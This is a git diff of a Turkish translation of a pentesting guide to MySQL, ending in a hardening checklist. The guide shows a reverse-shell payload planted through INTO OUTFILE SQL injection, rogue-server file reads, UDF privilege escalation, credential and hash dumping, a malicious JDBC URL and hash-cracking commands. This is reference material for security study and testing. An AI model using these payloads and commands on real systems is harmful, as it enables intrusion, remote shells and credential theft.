Translated ['src/network-services-pentesting/pentesting-mysql.md'] to tr

This commit is contained in:
Translator 2025-08-14 04:43:22 +00:00
parent 3e0d6501ae
commit f60804cbf0

View File

@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db #@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
``` ```
Dokümanlarda her bir ayrıcalığın anlamını görebilirsiniz: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL Dosya RCE ### MySQL Dosya RCE
@ -109,15 +109,15 @@ Dokümanlarda her bir ayrıcalığın anlamını görebilirsiniz: [https://dev.m
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}} {{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (site'e özgü yapılandırma kancaları) #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Klasik `INTO OUTFILE` ilkesini kötüye kullanarak, daha sonra **Python** betikleri çalıştıran hedeflerde *keyfi kod yürütme* elde etmek mümkündür. Klasik `INTO OUTFILE` ilkesini kötüye kullanarak, daha sonra **Python** betikleri çalıştıran hedeflerde *keyfi kod yürütme* elde etmek mümkündür.
1. `INTO OUTFILE` kullanarak, `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine özel bir **`.pth`** dosyası bırakın (örneğin `.../lib/python3.10/site-packages/`). 1. `INTO OUTFILE` kullanarak, `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine özel bir **`.pth`** dosyası bırakın (örneğin `.../lib/python3.10/site-packages/`).
2. `.pth` dosyası, her seferinde yorumlayıcı başlatıldığında yürütülecek keyfi Python kodu ile başlayan `import ` ile başlayan *tek bir satır* içerebilir. 2. `.pth` dosyası, her seferinde yorumlayıcı başlatıldığında yürütülecek keyfi Python kodu ile `import ` ile başlayan *tek bir satır* içerebilir.
3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin `/cgi-bin/ml-draw.py` shebang ile `#!/bin/python`) yükleme, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu **root** olarak çalıştırdı → tam ön kimlik doğrulama RCE). 3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin `/cgi-bin/ml-draw.py` shebang ile `#!/bin/python`) yük, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu **root** olarak çalıştırdı → tam ön kimlik doğrulama RCE).
Örnek `.pth` yükleme (tek satır, son SQL yüklemesine boşluk eklenemez, bu nedenle hex/`UNHEX()` veya dize birleştirme gerekebilir): Örnek `.pth` yükü (tek satır, son SQL yüküne boşluk eklenemez, bu nedenle hex/`UNHEX()` veya dize birleştirme gerekebilir):
```python ```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
``` ```
@ -125,7 +125,7 @@ Bir **UNION** sorgusu aracılığıyla dosyanın oluşturulmasına örnek (boşl
```sql ```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
``` ```
Önemli sınırlamalar ve bypass'lar: Önemli sınırlamalar ve bypass'ler:
* `INTO OUTFILE` **mevcut** dosyaları **üzerine yazamaz**; yeni bir dosya adı seçin. * `INTO OUTFILE` **mevcut** dosyaları **üzerine yazamaz**; yeni bir dosya adı seçin.
* Dosya yolu **MySQLin CWD'sine göre** çözülür, bu nedenle `../../` ile ön eklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını aşmaya yardımcı olur. * Dosya yolu **MySQLin CWD'sine göre** çözülür, bu nedenle `../../` ile ön eklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını aşmaya yardımcı olur.
@ -146,9 +146,9 @@ uid=0(root) gid=0(root) groups=0(root)
``` ```
--- ---
## MySQL istemcisi tarafından keyfi dosya okuma ## MySQL istemcisi tarafından rastgele dosya okuma
Aslında, bir tabloya **yerel veri yüklemeye** çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, keyfi dosyaları okuyabilirsiniz.**\ Aslında, bir tabloya **yerel veri yüklemeye** çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, rastgele dosyaları okuyabilirsiniz.**\
Lütfen bunun şu şekilde bir davranış olduğunu unutmayın: Lütfen bunun şu şekilde bir davranış olduğunu unutmayın:
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -162,7 +162,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
``` ```
**Başlangıç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Başlangıç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Saldırıya genel bir bakış burada bulunabilir:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -208,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
``` ```
### Yetki Yükseltme Kütüphanesi Üzerinden ### Yetki Yükseltme Kütüphanesi Üzerinden
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecek. Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **kütüphaneye** ihtiyacınız olacak.
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınız olanı seçin. Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınız olanı seçin.
@ -217,7 +217,7 @@ Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
Artık kütüphaneye sahip olduğunuza göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin: Artık kütüphaneniz olduğuna göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin:
#### Linux #### Linux
```sql ```sql
@ -259,7 +259,7 @@ cat /etc/mysql/debian.cnf
``` ```
Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**. Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**.
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz._ Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz_._
Bunları çıkarmak için: Bunları çıkarmak için:
```bash ```bash
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
``` ```
## 2023-2025 Öne Çıkanlar (yeni)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32'den itibaren, **JDBC URL**'sini etkileyebilen bir saldırgan (örneğin, bir bağlantı dizesi isteyen üçüncü taraf yazılımlarda) `propertiesTransform` parametresi aracılığıyla *istemci* tarafında rastgele sınıfların yüklenmesini talep edebilir. Sınıf yolunda mevcut olan bir gadget yüklenebilir ise, bu **JDBC istemcisi bağlamında uzaktan kod yürütmeye** yol açar (ön kimlik doğrulama, çünkü geçerli kimlik bilgileri gerekmemektedir). Minimal bir PoC şöyle görünür:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class` dosyasını çalıştırmak, savunmasız uygulamanın sınıf yoluna yerleştirmek veya kötü niyetli bir MySQL sunucusunun zararlı bir serileştirilmiş nesne göndermesine izin vermek kadar kolay olabilir. Sorun, Connector/J 8.0.33'te düzeltildi - sürücüyü güncelleyin veya `propertiesTransform`'u bir izin listesine açıkça ayarlayın.
(Bilgiler için Snyk yazısına bakın)
### JDBC istemcilerine karşı sahte / kötü niyetli MySQL sunucu saldırıları
Birçok açık kaynak aracı, dışa bağlantı kuran JDBC istemcilerine saldırmak için *kısmi* bir MySQL protokolü uygular:
* **mysql-fake-server** (Java, dosya okuma ve serileştirme istismarlarını destekler)
* **rogue_mysql_server** (Python, benzer yetenekler)
Tipik saldırı yolları:
1. Kurban uygulaması `allowLoadLocalInfile=true` veya `autoDeserialize=true` ile `mysql-connector-j`'yi yükler.
2. Saldırgan, DNS / ana makine girişini kontrol eder, böylece DB'nin ana adı kendi kontrolündeki bir makineye çözülür.
3. Kötü niyetli sunucu, `LOCAL INFILE` rastgele dosya okuma veya Java serileştirmesi → RCE'yi tetikleyen özel paketlerle yanıt verir.
Sahte bir sunucuyu başlatmak için bir örnek tek satırlık komut (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Sonra kurban uygulamasını `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirin ve dosya adını *kullanıcı adı* alanında base64 olarak kodlayarak `/etc/passwd` dosyasını okuyun (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### `caching_sha2_password` hash'lerini kırma
MySQL ≥ 8.0, şifre hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mod **21100**) hem de John-the-Ripper (`--format=mysql-sha2`), 2023'ten itibaren çevrimdışı kırmayı desteklemektedir. `authentication_string` sütununu dökün ve doğrudan besleyin:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Güçlendirme kontrol listesi (2025)
• Çoğu dosya-okuma/yazma ilkesini devre dışı bırakmak için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlarını yapın.
• Uygulama hesaplarından **`FILE`** ayrıcalığını kaldırın.
• Connector/J üzerinde `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) ayarlarını yapın.
• Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve **TLS gerektir** (`require_secure_transport = ON`).
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` ve ani `SET GLOBAL` ifadelerini izleyin.
---
## Referanslar ## Referanslar
- [Ön kimlik doğrulama SQLi'den RCE'ye Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}